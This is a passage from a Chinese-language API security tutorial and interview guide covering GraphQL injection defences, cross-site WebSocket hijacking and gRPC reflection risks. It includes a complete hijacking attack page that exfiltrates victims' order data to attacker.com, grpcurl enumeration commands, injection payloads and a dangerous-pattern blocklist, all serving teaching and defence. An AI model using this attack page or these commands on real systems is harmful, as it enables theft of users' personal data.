// ① 格式校验
if (!HOSTNAME_PATTERN.matcher(host).matches()) {
throw new IllegalArgumentException("非法的主机格式");
}
// ② ★ 用数组传参:ProcessBuilder 会直接 execve,不经过 /bin/sh
// 这样 ; && | $() 这些 shell 元字符全部失效(它们只是普通字符)
ProcessBuilder pb = new ProcessBuilder("ping", "-c", "1", "-W", "2", host);
pb.redirectErrorStream(true);
try {
Process p = pb.start();
boolean finished = p.waitFor(5, TimeUnit.SECONDS);
if (!finished) {
p.destroyForcibly();
return PingResult.timeout();
}
return PingResult.of(readOutput(p.getInputStream()), p.exitValue());
} catch (IOException | InterruptedException e) {
Thread.currentThread().interrupt();
return PingResult.error("执行失败");
}
}
/**
* ✅✅✅ 更好的方案:根本不要执行系统命令
* 用 Java 的 InetAddress.isReachable() 代替 ping
*/
public PingResult pingSafe(String host) {
if (!HOSTNAME_PATTERN.matcher(host).matches()) {
throw new IllegalArgumentException("非法的主机格式");
}
try {
InetAddress addr = InetAddress.getByName(host);
boolean reachable = addr.isReachable(2000);
return PingResult.of(reachable);
} catch (IOException e) {
return PingResult.of(false);
}
}
}
✅ 修复 4:LDAP —— 转义特殊字符
@Component
public class SecureLdapResolver implements GraphQLQueryResolver {
@Autowired
private LdapTemplate ldapTemplate;
public List<String> ldapSearch(String username) {
// ✅ 用 Spring 的 LdapEncoder 转义(★ 不要自己写正则)
String escaped = LdapEncoder.filterEncode(username);
String filter = "(uid=" + escaped + ")";
return ldapTemplate.search("", filter,
(AttributesMapper<String>) attrs -> attrs.get("dn").toString());
}
}
/**
* ★ 如果没用 Spring,自己实现 RFC 4515 转义
* 必须转义:\ * ( ) NUL
*/
class ManualLdapEncoder {
public static String filterEncode(String s) {
if (s == null) return "";
StringBuilder sb = new StringBuilder();
for (char c : s.toCharArray()) {
switch (c) {
case '\\' -> sb.append("\\5c");
case '*' -> sb.append("\\2a");
case '(' -> sb.append("\\28");
case ')' -> sb.append("\\29");
case '\0' -> sb.append("\\00");
default -> sb.append(c);
}
}
return sb.toString();
}
}
✅ 修复 5:统一输入校验(用 Bean Validation)
/**
* ✅ 在 Resolver 入口统一校验(★ 纵深防御的最后一层)
*/
@Aspect
@Component
@Slf4j
public class GraphQLInputValidationAspect {
@Autowired
private Validator validator;
@Around("execution(* com.example..*Resolver.*(..))")
public Object validateInput(ProceedingJoinPoint pjp) throws Throwable {
Object[] args = pjp.getArgs();
for (Object arg : args) {
if (arg == null) continue;
// ① Bean Validation(@NotBlank @Pattern @Size ...)
Set<ConstraintViolation<Object>> violations = validator.validate(arg);
if (!violations.isEmpty()) {
String msg = violations.stream()
.map(v -> v.getPropertyPath() + " " + v.getMessage())
.collect(Collectors.joining("; "));
throw new IllegalArgumentException("参数校验失败:" + msg);
}
// ② ★ 危险字符检查(兜底,防住没加注解的字段)
if (arg instanceof String s) {
checkDangerousPatterns(s, pjp.getSignature().toShortString());
}
}
return pjp.proceed();
}
/**
* 危险模式黑名单
* ⚠️ 这只是【兜底】,不能替代预编译!
* 黑名单一定会被绕过,真正的防护是参数化查询
*/
private static final List<Pattern> DANGEROUS = List.of(
Pattern.compile("(?i)\\b(union\\s+select|select\\s+.+\\s+from|insert\\s+into|drop\\s+table|delete\\s+from)\\b"),
Pattern.compile("(?i)[;|&`$(){}]"),
Pattern.compile("\\$\\{|#\\{|<script|javascript:", Pattern.CASE_INSENSITIVE),
Pattern.compile("(?i)\\$(ne|gt|lt|gte|lte|in|nin|regex|where|expr)"),
Pattern.compile("\\.\\./|\\.\\.\\\\") // 路径穿越
);
private void checkDangerousPatterns(String value, String method) {
for (Pattern p : DANGEROUS) {
if (p.matcher(value).find()) {
log.warn("[安全] 输入包含危险字符,已拦截 method={} pattern={} value={}",
method, p.pattern(), truncate(value, 100));
throw new IllegalArgumentException("输入包含非法字符");
}
}
}
private String truncate(String s, int max) {
return s.length() <= max ? s : s.substring(0, max) + "...";
}
}
3.7.4 GraphQL 注入 —— 面试问答
Q:GraphQL 有强类型和参数校验,还会被注入吗?
A: “会的,而且很容易被误解。GraphQL 的强类型只保证参数的’形状’符合 Schema 声明 —— 声明是
String就不会传进来数组或对象。但它完全不管内容。 一个String参数的内容完全可以是1' OR '1'='1。真正的危险在于开发者的心理: 用了 GraphQL 之后,很容易产生’框架已经帮我校验过了’的错觉, 于是 Resolver 里直接拼 SQL、拼命令、拼 MongoDB 查询,下游防护反而放松了。
我见过最典型的几个: 第一是字符串拼接 SQL,
searchUsers(keyword:"x' OR '1'='1")直接把全表查出来; 第二是 ORDER BY 位置 —— 这个位置没法预编译, 只能用白名单,很多人图省事直接拼,就成了盲注的点; 第三是 NoSQL,用 GraphQL 变量传{"$ne": null}进去, 某些实现会原样透传给 MongoDB,直接绕过登录; 第四是命令注入,拼ping -c 1 " + host。防护就是老三样,跟 REST 一模一样: 能预编译就预编译,不能预编译(ORDER BY、表名)就白名单, 系统命令用 String[] 数组传参绕开 shell, 再在 Resolver 入口加一层统一的参数校验做兜底。 最核心的一句话:GraphQL 只是入口,安全在下游。“
3.8 Subscription 安全与跨站 WebSocket 劫持(CSWSH)
3.8.1 先讲 WebSocket 的安全常识(为什么它和 HTTP 不一样)
★ 三个关键差异(面试必答):
| 特性 | HTTP | WebSocket |
|---|---|---|
| 同源策略(SOP) | ✅ 强制执行 | ❌ 不执行 |
| CORS | ✅ 浏览器会先发 OPTIONS 预检 | ❌ 没有预检,握手请求直接发 |
| 自定义头(Authorization) | ✅ 可以带 | ❌ 浏览器 API 不支持设置头 |
| Cookie | 按同源策略自动带 | 握手时自动带上目标域的 Cookie |
★ CSWSH(Cross-Site WebSocket Hijacking,跨站 WebSocket 劫持)一句话定义:
攻击者诱导受害者访问恶意页面
evil.com, 该页面用 JS 发起new WebSocket("wss://target.com/graphql"), 浏览器会自动带上 victim 在 target.com 的 Cookie 完成握手, 于是恶意页面就能以受害者身份读写 WebSocket 通道。
生活类比(★ 记住这个):
你去银行办业务,银行给你发了个专属对讲机(WebSocket 连接), 你说什么银行答什么,而且银行认对讲机不认人(因为连接建立后就不再验证身份了)。
现在骗子给你发了个链接,你点开后,页面里藏了个“中继器“, 它偷偷用你的名义也申请了一个对讲机(浏览器自动带上了你的银行 Cookie), 然后骗子拿着这个中继器,用你的身份跟银行对话 —— 查你的余额、转你的账。
银行从头到尾没发现“对面换人了”,因为对讲机是“合法申请”的。
3.8.2 漏洞代码(GraphQL Subscription 没验证 Origin)
/**
* ❌❌❌ 漏洞:WebSocket 握手时【没有验证 Origin】
*/
@Configuration
@EnableWebSocketMessageBroker
public class VulnerableWebSocketConfig implements WebSocketMessageBrokerConfigurer {
@Override
public void registerStompEndpoints(StompEndpointRegistry registry) {
registry.addEndpoint("/graphql")
// ❌ 没有 setAllowedOrigins() → 默认允许所有来源!
// 等价于 setAllowedOriginPatterns("*")
.withSockJS();
}
@Override
public void configureMessageBroker(MessageBrokerRegistry registry) {
registry.enableSimpleBroker("/topic", "/queue");
registry.setApplicationDestinationPrefixes("/app");
}
/**
* ❌ 握手拦截器:只记录了日志,没有验证任何东西
*/
@Override
public void configureClientInboundChannel(ChannelRegistration registration) {
registration.interceptors(new ChannelInterceptor() {
@Override
public Message<?> preSend(Message<?> message, MessageChannel channel) {
log.debug("收到消息:{}", message);
return message; // ❌ 直接放行,没有鉴权
}
});
}
}
/**
* ❌ Subscription Resolver:没有鉴权,任何人订阅都能收到
*/
@Component
public class VulnerableSubscriptionResolver implements GraphQLSubscriptionResolver {
/**
* ❌ 严重漏洞:任何建立了 WebSocket 连接的人
* 都能订阅【任意用户】的订单更新
*
* 攻击者:subscription { orderUpdates(userId: "1") { id amount address } }
* → 实时收到用户 1 的所有订单,包括收货地址!
*/
public Publisher<Order> orderUpdates(String userId) {
return orderEventPublisher.getStream(userId);
}
/**
* ❌ 更狠:订阅所有通知(内部通知、管理员告警都会推过来)
*/
public Publisher<Notification> allNotifications() {
return notificationPublisher.getGlobalStream();
}
}
攻击页面(evil.com):
<!-- ★ 这就是 CSWSH 的完整攻击代码,只有 20 行 -->
<!DOCTYPE html>
<html>
<body>
<h1>恭喜中奖!点击领取</h1>
<script>
// ① 建立到 target.com 的 WebSocket,浏览器自动带 Cookie
const ws = new WebSocket("wss://target.com/graphql");
ws.onopen = () => {
// ② 完成 GraphQL over WebSocket 的握手(graphql-ws 协议)
ws.send(JSON.stringify({ type: "connection_init", payload: {} }));
};
ws.onmessage = (evt) => {
const msg = JSON.parse(evt.data);
if (msg.type === "connection_ack") {
// ③ 订阅受害者的订单更新(★ 用受害者的身份!)
ws.send(JSON.stringify({
id: "1",
type: "start",
payload: {
query: `subscription { orderUpdates(userId: "1") { id amount address phone } }`
}
}));
}
if (msg.type === "data") {
// ④ 把偷到的数据发到攻击者服务器
fetch("https://attacker.com/collect", {
method: "POST",
mode: "no-cors",
body: JSON.stringify(msg.payload)
});
console.log("[偷到的数据]", msg.payload);
}
};
</script>
</body>
</html>
3.8.3 ✅ 六种防御方案
✅ 防御 1:验证 Origin 头(★ 最重要,必做)
/**
* ✅✅✅ 防御 1:WebSocket 握手时严格验证 Origin
*
* ★ 这是 CSWSH 的唯一根治方案
* 浏览器发起的 WebSocket 请求【一定会带 Origin 头】,且【无法被 JS 篡改】
* (这是浏览器强制的,跟 Referer 不一样,Referer 可以被 JS 影响,Origin 不行)
*/
@Configuration
public class SecureWebSocketConfig implements WebSocketMessageBrokerConfigurer {
@Value("${app.allowed-origins:https://app.example.com}")
private String[] allowedOrigins;
@Override
public void registerStompEndpoints(StompEndpointRegistry registry) {
registry.addEndpoint("/graphql")
// ✅ 白名单:只放行自家域名
.setAllowedOrigins(allowedOrigins) // ★ 注意:不支持通配子域
// 如果需要通配子域(*.example.com),用这个:
// .setAllowedOriginPatterns("https://*.example.com")
.withSockJS();
}
}
/**
* ★ 更灵活的实现:自定义 HandshakeInterceptor(支持动态配置 + 详细日志)
*/
@Component
@Slf4j
public class OriginCheckHandshakeInterceptor implements HandshakeInterceptor {
private final Set<String> allowedOrigins;
public OriginCheckHandshakeInterceptor(
@Value("${app.allowed-origins}") String origins) {
this.allowedOrigins = Set.of(origins.split(","));
log.info("[安全] WebSocket 允许的 Origin:{}", allowedOrigins);
}
@Override
public boolean beforeHandshake(ServerHttpRequest request,
ServerHttpResponse response,
WebSocketHandler wsHandler,
Map<String, Object> attributes) {
// ① 取 Origin 头
String origin = request.getHeaders().getOrigin();
// ② ★ 没有 Origin 的情况:
// 浏览器发起的 WebSocket 【一定】带 Origin
// 非浏览器客户端(比如 curl、移动 App)可能不带
// → 策略:如果是浏览器场景就拒绝;如果是 API 场景,要求带 token 并走另一套校验
if (origin == null) {
log.warn("[安全] WebSocket 握手缺少 Origin 头,拒绝(UA={})",
request.getHeaders().getFirst("User-Agent"));
response.setStatusCode(HttpStatus.FORBIDDEN);
return false;
}
// ③ 白名单校验(★ 严格比对,不要用 contains,会被 https://evil.com?x=app.example.com 绕过)
if (!isAllowedOrigin(origin)) {
log.warn("[安全] WebSocket 握手 Origin 不在白名单,拒绝 origin={}", origin);
response.setStatusCode(HttpStatus.FORBIDDEN);
return false;
}
log.debug("[安全] WebSocket 握手通过 origin={}", origin);
return true;
}
/**
* ★ 严格的 Origin 校验:解析出 host 再比对
* 不要用 origin.contains(allowed) —— 会被 https://app.example.com.evil.com 绕过
*/
private boolean isAllowedOrigin(String origin) {
try {
URI uri = new URI(origin);
String host = uri.getHost();
if (host == null) return false;
for (String allowed : allowedOrigins) {
URI allowedUri = new URI(allowed);
// ★ 精确比对 scheme + host + port
if (host.equalsIgnoreCase(allowedUri.getHost())
&& Objects.equals(uri.getScheme(), allowedUri.getScheme())
&& uri.getPort() == allowedUri.getPort()) {
return true;
}
}
return false;
} catch (URISyntaxException e) {
log.warn("[安全] Origin 格式非法:{}", origin);
return false;
}
}
@Override
public void afterHandshake(ServerHttpRequest request, ServerHttpResponse response,
WebSocketHandler wsHandler, Exception exception) {
// no-op
}
}
⚠️ 面试追问:Origin 可以被伪造吗?
“浏览器发起的 WebSocket 请求,Origin 头由浏览器强制添加,JS 无法修改 —— 这是浏览器的安全边界。 所以针对浏览器场景,验证 Origin 是根治方案。
但如果是非浏览器客户端(curl、Postman、自写脚本、原生 App), Origin 头是完全可以随便伪造的 —— 这时候 Origin 校验就失效了。
所以正确姿势是:
- 浏览器场景:Origin 校验 + Cookie 认证 + SameSite=Lax/Strict(双保险)
- 非浏览器场景(移动 App、服务端):不用 Cookie,用 Token(放在
connection_init的 payload 里)★ 一句话:Origin 校验挡的是“别人网站上的 JS 冒充你”, Token 认证挡的是“任何人冒充你”。两个都要有。
✅ 防御 2:Token 认证(不依赖 Cookie)
/**
* ✅✅✅ 防御 2:WebSocket 握手时用 Token 认证
*
* ★ 为什么不能只用 Cookie:
* Cookie 会被浏览器自动带上 → CSWSH
* Token 必须由 JS 显式放在 connection_init 的 payload 里 → 攻击者网站拿不到
*
* ★ 关键:攻击者网站上的 JS 【读不到】 target.com 的 localStorage / Cookie(同源策略)
* 所以它构造不出合法的 Token → 认证失败
*/
@Component
@Slf4j
public class WebSocketAuthChannelInterceptor implements ChannelInterceptor {
@Autowired
private JwtService jwtService;
/**
* 在 connection_init 阶段认证(graphql-ws 协议)
*/
@Override
public Message<?> preSend(Message<?> message, MessageChannel channel) {
StompHeaderAccessor accessor =
MessageHeaderAccessor.getAccessor(message, StompHeaderAccessor.class);
if (accessor == null) return message;
// ① 连接建立阶段
if (StompCommand.CONNECT.equals(accessor.getCommand())
|| StompCommand.SUBSCRIBE.equals(accessor.getCommand())) {
// ★ 从 STOMP 头里取 Token(客户端在 connection_init 时放进来)
String token = accessor.getFirstNativeHeader("Authorization");
if (token == null || !token.startsWith("Bearer ")) {
log.warn("[安全] WebSocket 连接缺少 Token,拒绝(simpSessionId={})",
accessor.getSessionId());
throw new AuthenticationException("未认证的 WebSocket 连接");
}
// ② 校验 JWT
JwtClaims claims;
try {
claims = jwtService.parse(token.substring(7));
} catch (Exception e) {
log.warn("[安全] WebSocket Token 无效,拒绝:{}", e.getMessage());
throw new AuthenticationException("Token 无效");
}
// ③ ★ 把身份信息放进 session,后续消息都能取到
accessor.getSessionAttributes().put("userId", claims.getUserId());
accessor.getSessionAttributes().put("roles", claims.getRoles());
accessor.getSessionAttributes().put("tenantId", claims.getTenantId());
log.info("[安全] WebSocket 认证成功 userId={} sessionId={}",
claims.getUserId(), accessor.getSessionId());
}
// ④ 订阅阶段:校验订阅权限
if (StompCommand.SUBSCRIBE.equals(accessor.getCommand())) {
String destination = accessor.getDestination();
String userId = (String) accessor.getSessionAttributes().get("userId");
if (!canSubscribe(userId, destination)) {
log.warn("[安全] 无权限订阅 userId={} destination={}", userId, destination);
throw new AccessDeniedException("无权限订阅该主题");
}
}
return message;
}
/**
* ★ 订阅权限校验:只能订阅自己相关的主题
*/
private boolean canSubscribe(String userId, String destination) {
if (destination == null) return false;
// 允许:/user/queue/xxx(Spring 会自动映射到当前用户的私有队列)
if (destination.startsWith("/user/")) {
return true;
}
// 允许:/topic/public/xxx(公开广播)
if (destination.startsWith("/topic/public/")) {
return true;
}
// ★ 关键:/topic/user/{userId}/xxx 这种,必须验证 userId 一致
Pattern p = Pattern.compile("^/topic/user/([^/]+)/");
Matcher m = p.matcher(destination);
if (m.find()) {
String targetUserId = m.group(1);
if (!targetUserId.equals(userId)) {
log.warn("[安全] 越权订阅尝试 userId={} 试图订阅 {}", userId, destination);
return false;
}
return true;
}
// ★ 默认拒绝(Deny by Default)
log.warn("[安全] 未知订阅目标,默认拒绝 destination={}", destination);
return false;
}
}
客户端怎么传 Token:
// 前端(Apollo Client / graphql-ws)
import { createClient } from 'graphql-ws';
const client = createClient({
url: 'wss://api.example.com/graphql',
connectionParams: async () => {
const token = await getAccessToken(); // 从内存/安全存储里取
return {
// ★ 关键:Token 放在 connectionParams 里,不是 Cookie
// 攻击者网站读不到你的 token(同源策略),所以构造不出这个参数
Authorization: `Bearer ${token}`,
};
},
// ★ 禁用 Cookie(防止 CSWSH)
shouldRetry: () => true,
retryAttempts: 3,
});
✅ 防御 3:Subscription Resolver 里做字段级授权(和第 3.6 节一致)
/**
* ✅ 防御 3:Subscription 也要做归属校验(★ 最容易被忘)
*/
@Component
@Slf4j
public class SecureSubscriptionResolver implements GraphQLSubscriptionResolver {
@Autowired
private OrderService orderService;
/**
* ✅ 修复:校验当前用户是否有权订阅该用户的订单
*/
public Publisher<Order> orderUpdates(String userId, DataFetchingEnvironment env) {
// ① 从 context 里取当前登录用户(握手时放进去的)
User currentUser = env.getGraphQlContext().get("currentUser");
if (currentUser == null) {
throw new GraphQLAuthException("未登录");
}
// ② ★ 归属校验(BOLA 防护,和 REST 一模一样)
if (!currentUser.getId().equals(userId)
&& !currentUser.hasRole("ADMIN")) {
log.warn("[安全] 越权订阅尝试 currentUser={} targetUser={}",
currentUser.getId(), userId);
throw new AccessDeniedException("无权订阅他人的订单更新");
}
// ③ 校验通过,返回流
return orderService.getOrderUpdateStream(userId);
}
/**
* ✅ 全局通知:必须校验角色
*/
public Publisher<Notification> allNotifications(DataFetchingEnvironment env) {
User currentUser = env.getGraphQlContext().get("currentUser");
if (currentUser == null || !currentUser.hasRole("ADMIN")) {
throw new AccessDeniedException("需要管理员权限");
}
return notificationService.getGlobalStream();
}
}
✅ 防御 4:Cookie 加 SameSite(纵深防御)
/**
* ✅ 防御 4:Cookie 设 SameSite=Strict(★ 挡住跨站请求带 Cookie)
*/
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setSameSite("Strict"); // ★ 或 Lax
serializer.setCookieName("SESSION");
serializer.setUseSecureCookie(true); // ★ 只在 HTTPS 下传输
serializer.setUseHttpOnlyCookie(true); // ★ JS 读不到
return serializer;
}
SameSite 三个值的区别(面试常考):
值 跨站请求带 Cookie 吗 场景 Strict ❌ 完全不带(包括点链接跳转) 最安全,但“从邮件点链接进网站要重新登录” Lax(默认) ⚠️ 只有顶层导航的 GET 会带 平衡安全与体验,推荐 None ✅ 都带(但必须配 Secure)需要跨站嵌入的场景(比如 iframe 里的支付页) ★ 注意:
SameSite保护的是 Cookie,而 WebSocket 握手默认会带 Cookie, 所以设了SameSite=Strict之后,从evil.com发起的 WebSocket 握手不会带 Cookie → CSWSH 失效。
✅ 防御 5:限制订阅数量与频率(防 DoS)
/**
* ✅ 防御 5:限制每个连接的订阅数量(★ 防止一个连接订阅 1 万个主题)
*/
@Component
@Slf4j
public class SubscriptionLimitInterceptor implements ChannelInterceptor {
private static final int MAX_SUBSCRIPTIONS_PER_SESSION = 20;
private final ConcurrentMap<String, AtomicInteger> subscriptionCounts =
new ConcurrentHashMap<>();
@Override
public Message<?> preSend(Message<?> message, MessageChannel channel) {
StompHeaderAccessor accessor =
MessageHeaderAccessor.getAccessor(message, StompHeaderAccessor.class);
if (accessor == null) return message;
String sessionId = accessor.getSessionId();
if (StompCommand.SUBSCRIBE.equals(accessor.getCommand())) {
AtomicInteger count = subscriptionCounts
.computeIfAbsent(sessionId, k -> new AtomicInteger(0));
if (count.incrementAndGet() > MAX_SUBSCRIPTIONS_PER_SESSION) {
count.decrementAndGet();
log.warn("[安全] 订阅数超限 sessionId={} count={}", sessionId, count.get());
throw new TooManySubscriptionsException(
"单个连接最多订阅 " + MAX_SUBSCRIPTIONS_PER_SESSION + " 个主题");
}
log.debug("[安全] 新增订阅 sessionId={} count={} dest={}",
sessionId, count.get(), accessor.getDestination());
}
if (StompCommand.UNSUBSCRIBE.equals(accessor.getCommand())
|| StompCommand.DISCONNECT.equals(accessor.getCommand())) {
AtomicInteger c = subscriptionCounts.get(sessionId);
if (c != null) c.decrementAndGet();
}
return message;
}
/** 连接断开时清理计数 */
@EventListener
public void onSessionDisconnect(SessionDisconnectEvent event) {
subscriptionCounts.remove(event.getSessionId());
log.debug("[安全] 清理订阅计数 sessionId={}", event.getSessionId());
}
public static class TooManySubscriptionsException extends RuntimeException {
public TooManySubscriptionsException(String m) { super(m); }
}
}
✅ 防御 6:用一次性 Ticket 代替长期 Token(最高安全级别)
/**
* ✅ 防御 6:WebSocket 一次性票据(★ 金融/政务场景推荐)
*
* 流程:
* 1. 前端先走 HTTPS 调 /api/ws-ticket 拿一个【一次性、60秒过期】的 ticket
* 2. 用这个 ticket 建 WebSocket 连接
* 3. 服务端校验 ticket → 立即作废(一次性)
* 4. 连接建立后,把正式身份绑定到 session,后续消息用 session 里的身份
*
* 好处:
* ① ticket 只能用一次 → 即便被截获也用不了(重放防护)
* ② 60 秒过期 → 泄露窗口极小
* ③ 不依赖 Cookie → 天然免疫 CSWSH
*/
@RestController
@RequestMapping("/api")
public class WebSocketTicketController {
@Autowired
private RedisTemplate<String, String> redis;
@GetMapping("/ws-ticket")
public Map<String, String> getTicket(Authentication auth) {
String userId = auth.getName();
String ticket = UUID.randomUUID().toString().replace("-", "");
// ★ 存 Redis,60 秒过期,一次性消费
redis.opsForValue().set("ws:ticket:" + ticket, userId,
60, TimeUnit.SECONDS);
log.info("[安全] 签发 WebSocket ticket userId={}", userId);
return Map.of("ticket", ticket, "expiresIn", "60");
}
}
@Component
@Slf4j
public class TicketAuthHandshakeHandler extends DefaultHandshakeHandler {
@Autowired
private RedisTemplate<String, String> redis;
@Override
protected Principal determineUser(ServerHttpRequest request,
WebSocketHandler wsHandler,
Map<String, Object> attributes) {
// ① 从 query 参数里取 ticket
String query = request.getURI().getQuery();
String ticket = extractParam(query, "ticket");
if (ticket == null) {
log.warn("[安全] WebSocket 握手缺少 ticket");
return null; // ★ 返回 null = 拒绝握手
}
// ② ★ 一次性消费:GET + DEL 必须是原子的(用 Lua 或 Redis 的 GETDEL)
String userId = redis.opsForValue().getAndDelete("ws:ticket:" + ticket);
if (userId == null) {
log.warn("[安全] WebSocket ticket 无效或已使用(疑似重放攻击)ticket={}",
ticket.substring(0, Math.min(8, ticket.length())));
return null;
}
log.info("[安全] WebSocket ticket 校验通过 userId={}", userId);
// ③ 返回 Principal,后续可从 session 里取到
return () -> userId;
}
private String extractParam(String query, String key) {
if (query == null) return null;
for (String pair : query.split("&")) {
String[] kv = pair.split("=", 2);
if (kv.length == 2 && kv[0].equals(key)) {
return URLDecoder.decode(kv[1], StandardCharsets.UTF_8);
}
}
return null;
}
}
3.8.4 WebSocket / Subscription 安全 Checklist
| # | 检查项 | 优先级 |
|---|---|---|
| 1 | 严格校验 Origin 头(精确比对 scheme+host+port,不用 contains) | ★★★ |
| 2 | 用 Token 认证(放 connection_init payload),不依赖 Cookie |
★★★ |
| 3 | Subscription Resolver 里做归属/角色校验(防 BOLA) | ★★★ |
| 4 | Cookie 设 SameSite=Lax/Strict + Secure + HttpOnly |
★★★ |
| 5 | 订阅目标做默认拒绝(不在白名单就拒绝) | ★★★ |
| 6 | 限制单连接的订阅数量(≤20) | ★★ |
| 7 | 高安全场景用一次性 ticket(60 秒 + 一次性消费) | ★★ |
| 8 | 连接空闲超时 + 心跳(防僵尸连接占资源) | ★★ |
| 9 | 消息大小限制(防大消息打爆内存) | ★★ |
| 10 | 订阅/退订记审计日志 | ★ |
3.8.5 CSWSH —— 面试问答
Q:WebSocket 会被 CSRF 攻击吗?怎么防?
A: “会,而且比普通 CSRF 更容易中招,叫 CSWSH(跨站 WebSocket 劫持)。
原因是 WebSocket 有三个和 HTTP 不一样的特性: 第一,WebSocket 不受同源策略限制(这是协议设计决定的); 第二,握手时没有 CORS 预检,浏览器直接就发了; 第三,浏览器 API 不支持给 WebSocket 设置自定义头,所以
Authorization头带不了, 很多团队只能退回到用 Cookie 认证 —— 而 Cookie 是浏览器自动带上的。于是攻击就成立了:受害者在 evil.com 点开页面, 页面里的 JS 执行
new WebSocket("wss://target.com/graphql"), 浏览器自动带上受害者在 target.com 的 Cookie,握手成功, 恶意页面就以受害者身份读写 WebSocket 通道了 —— 订阅他的订单更新、发消息、甚至触发操作。防护的核心是验证 Origin: 浏览器发起的 WebSocket 请求一定带 Origin 头,而且 JS 改不了(浏览器强制的), 所以服务端白名单校验 Origin,能根治浏览器场景的 CSWSH。 注意校验要解析出 host 精确比对,不能用
contains, 否则https://app.example.com.evil.com能绕过。但 Origin 只对浏览器有效 —— curl 和自写脚本可以随便伪造 Origin, 所以移动端和服务端场景必须另外用 Token 认证, 把 Token 放在
connection_init的 payload 里, 因为攻击者网站读不到 target.com 的 localStorage(同源策略),构造不出合法 Token。★ 加分点:还有两点容易漏 —— 一是 Subscription 本身也要做归属校验,不能只在握手时认证, 否则登录用户可以订阅
orderUpdates(userId:"别人的ID")拿到别人的实时数据; 二是 WebSocket 连接建立后就不再重新认证了, 所以用户退出登录、权限变更时,必须主动断开他的 WebSocket 连接,不然权限收不回来。“
3.9 gRPC 安全 —— 二进制协议带来的“看不见”问题
3.9.1 先讲清楚:gRPC 是什么,为什么它的安全问题很特别
一句话定义:
gRPC 是 Google 开源的高性能 RPC 框架,基于 HTTP/2 传输,用 Protobuf(二进制)序列化。 主要用于服务间通信(东西向流量),而不是浏览器到服务器(南北向)。
三个关键词(不懂这三个后面全看不懂):
| 关键词 | 白话解释 | 类比 |
|---|---|---|
| Protobuf | 二进制的序列化格式。比 JSON 小 3 |
JSON 是明信片(谁都能看),Protobuf 是密文电报(要对照密码本才能读) |
| HTTP/2 | 新一代 HTTP,支持多路复用、头部压缩、双向流 | HTTP/1.1 是单车道,HTTP/2 是多车道高速 |
| .proto 文件 | 接口定义文件,声明有哪些服务、方法、消息结构。服务端和客户端共用同一份 | 双方签好的合同 |
一个最小的 .proto:
syntax = "proto3";
package com.example.user;
// ★ 服务定义(对应 REST 的 Controller)
service UserService {
rpc GetUser(GetUserRequest) returns (User);
rpc ListUsers(ListUsersRequest) returns (stream User); // ★ 服务端流式
rpc UpdateUser(UpdateUserRequest) returns (User);
rpc DeleteUser(DeleteUserRequest) returns (google.protobuf.Empty);
}
// ★ 消息定义(对应 REST 的 DTO)
message GetUserRequest {
string user_id = 1;
}
message User {
string id = 1;
string name = 2;
string email = 3;
string phone = 4;
string password_hash = 5; // ⚠️ 危险:不该出现在接口里
int32 role = 6;
}
3.9.2 ★ gRPC 安全的五个“特殊之处”(面试核心)
这是本章的理论骨架。面试官问“gRPC 安全和 REST 有什么不同”,就答这五点。
特殊之处 1:二进制 = 中间设备全瞎了
REST(JSON)的请求:
POST /api/users HTTP/1.1
Authorization: Bearer eyJhbGciOi...
Content-Type: application/json
{"userId":"9527","action":"delete"}
↑ WAF 看得懂、网关看得懂、日志看得懂、审计系统看得懂
─────────────────────────────────────────────────
gRPC(Protobuf)的请求:
POST /com.example.user.UserService/GetUser HTTP/2
Content-Type: application/grpc
te: trailers
\x00\x00\x00\x0f\x0a\r9527 ← 就这一串二进制
↑ WAF:看不懂,放行
↑ 传统网关:看不懂,只能透传
↑ 日志系统:一堆乱码
↑ SIEM/审计:无法提取字段做检测
后果(★ 这是最关键的认知):
| 传统防护手段 | 对 REST | 对 gRPC |
|---|---|---|
| WAF(规则匹配 SQL 注入特征) | ✅ 有效 | ❌ 基本失效(看不到内容) |
| API 网关(路径级路由/鉴权) | ✅ 有效 | ⚠️ 只能看到 /包名.服务名/方法名,看不到参数 |
| 日志审计(SQL 注入检测) | ✅ 有效 | ❌ 失效 |
| DLP(敏感数据外泄检测) | ✅ 有效 | ❌ 失效 |
| 限流(按路径) | ✅ 有效 | ⚠️ 只能按方法名,不能按参数 |
| mTLS + 服务网格 | 不常用 | ✅ 成了主力 |
| 应用层拦截器 | 不常用 | ✅ 成了主力 |
★ 面试金句: “gRPC 用二进制换来性能,代价是传统安全设备全部失明。 所以 gRPC 的安全建设重心必须转移: 从’依赖边界设备(WAF/网关)‘转移到’服务自身(mTLS + 拦截器)‘, 从’内容检测’转移到’身份认证和授权’。 这就是为什么 gRPC 和服务网格(Istio)几乎是绑定的 —— 没有服务网格,gRPC 的安全基本裸奔。”
特殊之处 2:反射服务(Reflection)= 自动暴露全部接口清单
gRPC 有一个可选的 Server Reflection 服务, 客户端可以调它问“你都有哪些服务和方法?消息结构是什么?”, 服务端会把完整的 .proto 定义返回。
★ 这就是 gRPC 版的 GraphQL Introspection(功能几乎一模一样,危害也一模一样)。
利用工具(grpcurl,类比 curl 之于 HTTP):
# ===== ① 安装 grpcurl =====
go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
# 或用 docker:
# alias grpcurl='docker run --rm -v $(pwd):/pwd -w /pwd fullstorydev/grpcurl'
# ===== ② 列出目标的所有服务(★ 反射开着的话)=====
grpcurl -plaintext 10.0.0.5:9090 list
# 输出:
# com.example.user.UserService
# com.example.order.OrderService
# com.example.payment.PaymentService
# grpc.reflection.v1alpha.ServerReflection ← 看到这个就说明反射开着
# ===== ③ 列出某个服务的所有方法 =====
grpcurl -plaintext 10.0.0.5:9090 list com.example.user.UserService
# 输出:
# com.example.user.UserService.GetUser
# com.example.user.UserService.ListUsers
# com.example.user.UserService.UpdateUser
# com.example.user.UserService.DeleteUser
# ===== ④ ★ 查看方法的完整定义(参数结构、类型)=====
grpcurl -plaintext 10.0.0.5:9090 describe com.example.user.UserService.GetUser
# 输出:
# rpc GetUser ( .com.example.user.GetUserRequest ) returns ( .com.example.user.User );
grpcurl -plaintext 10.0.0.5:9090 describe com.example.user.User
# 输出完整的 User 消息定义(所有字段名和类型)
# message User {
# string id = 1;
# string name = 2;
# string email = 3;
# string phone = 4;
# string password_hash = 5; ← ★ 一眼看到这个字段
# int32 role = 6;
# }
# ===== ⑤ 直接调用(★ 如果还没有认证)=====
grpcurl -plaintext -d '{"user_id":"1"}' 10.0.0.5:9090 \
com.example.user.UserService/GetUser
# 返回完整的 User 对象,包括 password_hash!
# ===== ⑥ 暴力枚举:遍历所有方法看哪些能调 =====
